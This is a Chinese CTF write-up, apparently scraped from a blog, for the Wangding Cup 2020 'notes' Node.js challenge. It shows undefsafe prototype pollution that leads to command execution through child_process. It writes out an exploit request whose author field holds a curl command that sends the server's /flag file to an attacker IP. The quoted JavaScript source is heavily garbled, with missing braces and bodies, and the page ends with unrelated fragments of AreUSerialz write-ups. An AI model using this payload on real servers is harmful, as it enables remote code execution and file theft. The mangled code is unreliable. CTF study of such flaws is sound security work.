網鼎盃 2020 青龍組 notes wp

2021-10-24 15:44:34 字數 2894 閱讀 1137

人生艱難,做了兩天。學到不少。

給了js**。第一次做js題,賊難受。

var express =

require

('express');

var path =

require

('path');

const undefsafe =

require

('undefsafe');

const

=require

('child_process');

express()

;class

notes;}

write_note

(author, raw_note);}

get_note

(id)

undefsafe

(r, id,

undefsafe

(this

.note_list, id));

return r;

}edit_note

(id, author, raw)

get_all_notes()

remove_note

(id)

}var notes =

newnotes()

;notes.

write_note

("nobody"

,"this is nobody's first note");

set(

'views'

, path.

join

(__dirname,

'views'))

;set

('view engine'

,'pug');

use(express.

json()

);use(express.

urlencoded()

);use(express.

static

(path.

join

(__dirname,

'public'))

);get(

'/',

function

(req, res, next));

});route

('/add_note').

get(

function

(req, res));

}).post

(function

(req, res));

}else);

}})route

('/edit_note').

get(

function

(req, res));

}).post

(function

(req, res));

}else);

}})route

('/delete_note').

get(

function

(req, res));

}).post

(function

(req, res));

}else);

}})route

('/notes').

get(

function

(req, res)

else

res.

render

('note',)

;})route

('/status').

get(

function

(req, res)

;for

(let index in commands)

,(err, stdout, stderr)

=>

console.

log(

`stdout: $`

);})

;}res.

send

('ok');

res.

end();

})use(

function

(req, res, next));

use(

function

(err, req, res, next));

const port =

8080

;listen

(port,()

=> console.

log($`

))

看了半天發現上面有require引入了child_process這個檔案,查閱資料發現這裡面是乙個命令執行。

第一次遇到原型鏈汙染的問題,網上了解了原型鏈汙染的原理後,發現commands與note_list都是陣列物件的例項,他們的原型類肯定相同。

只要通過notes類中的edit_note方法修改note_list的原型類的資料就可以汙染commands

上網查詢得知undefsafe正好有原型類汙染的漏洞,給id賦值__porto__就可以給原型了新增author 和 raw_note 兩個屬性。

因此,遍歷command的屬性的時候可以遍歷到這兩個屬性並執行。

所以再edit_note路由下post

id=__proto__.bb&author=curl -f 『flag=@/flag』 174.1.166.72:8080&raw=a

其中 通過curl命令上傳內容為本地/flag檔案的名字為flag的檔案到攻擊機ip的8080埠。

此時commands的原型類已經被汙染,commands多了包含遠端請求的**。

訪問/status路由執行命令。

通過rce,監聽攻擊機的8080埠獲得上傳檔案的flag檔案中的內容獲得flag。

注意:buu無法訪問外網,需要用basic linuxlab的內網伺服器作為攻擊機接受上傳的資訊。

網鼎盃 2020 青龍組 AreUSerialz

知識點 php強型別比較,可以通過 不同型別 達到繞過目的 php7.1以上版本 對類的型別定義不敏感 file get contents 偽協議檔案讀取 include flag.php highlight file file class filehandler public function p...

網鼎盃 2020 青龍組 AreUSerialz

考點 php反序列化 原始碼 include flag.php highlight file file class filehandler public function process elseif this op 2 else private function write res file pu...

網鼎盃 2020 青龍組 AreUSerialz

include flag.php highlight file file class filehandler public function process else if this op 2 else private function write res file put contents thi...